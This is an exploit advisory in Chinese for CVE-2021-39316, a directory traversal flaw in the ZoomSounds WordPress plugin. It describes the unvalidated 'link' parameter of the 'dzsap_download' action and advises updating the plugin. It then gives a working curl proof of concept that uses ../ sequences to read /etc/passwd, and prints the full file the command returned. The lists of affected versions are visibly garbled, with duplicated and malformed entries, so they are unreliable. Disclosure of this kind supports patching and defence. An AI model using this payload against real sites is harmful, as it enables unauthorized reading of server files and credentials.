# 供应商主页：https://digitalzoomstudio.net/docs/wpzoomsounds/
# 版本: 1.10, 1.20, 1.30, 1.40, 1.41, 1.43, 1.45, 1.50, 1.51, 1.60, 1.61, 1.62, 1.63, 1.70, 2.00, 2.20, .2.4, 2.4, 2.4, 2.4, 2.20 ，2.51，2.60，2.61，2.62，2.63，2.64，2.70，2.72，2.75，3.00，3.01，3.03，3.04，3.10，3.12，3.21，3.23，3.24，3.30，3.31，3.32，3.33，3.40，4.00，4.10 ，4.15，4.20，4.32，4.47，4.51，4.63，5.00，5.03，5.04，5.12，5.18，5.30，5.31，5.48，5.60，5.70，5.82，5.84，5.91，5.93，5.95，5.96，6.00，6.10，6.21 , 6.34, 6.45
# 测试：Linux（DZS Zoomsounds 5.82 版）
# CVE：CVE-2021-39316
该漏洞允许远程攻击者执行目录遍历攻击。 该漏洞是由于处理“dzsap_download”动作中的“link”参数中的目录遍历序列时输入验证错误造成的。远程攻击者可以发送特制的 HTTP 请求并读取系统上的任意文件。
减轻： 从供应商的网站安装更新。
易受攻击的软件版本
ZoomSounds： 1.10, 1.20, 1.30, 1.40, 1.41, 1.43, 1.45, 1.50, 1.51, 1.60, 1.61, 1.62, 1.63, 1.70, 2.00, 2.00, 2, 2.02, 2. 2.42, 2.43, 2.44, 2.45, 2.46, 2.51, 2.60, 2.61, 2.62, 2.63, 2.64, 2.70, 2.72, 2.75, 3.00, 3.03,10, 3.03,10, 3 3.12, 3.21, 3.23, 3.24, 3.30, 3.31, 3.32, 3.33, 3.40, 4.00, 4.10, 4.15, 4.20, 4.32, 4.47, 4.60,30, 5 5.04, 5.12, 5.18, 5.30, 5.31, 5.48, 5.60, 5.70, 5.82, 5.84, 5.91, 5.93, 5.95, 5.96, 6.00, 6.14, 6.45, 6
概念验证：
user@ubuntu:~$ curl "http://localhost/MYzoomsounds/?action=dzsap_download&link=../../../../../../../../../.. /etc/passwd"
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false messagebus:x:106:110::/var/run/dbus:/bin/false uuidd:x:107:111::/run/uuidd:/bin/false lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false whoopsie:x:109:117::/nonexistent:/bin/false avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false saned:x:119:127::/var/lib/saned:/bin/false usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false user:x:1000:1000:user,,,:/home/user:/bin/bash mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
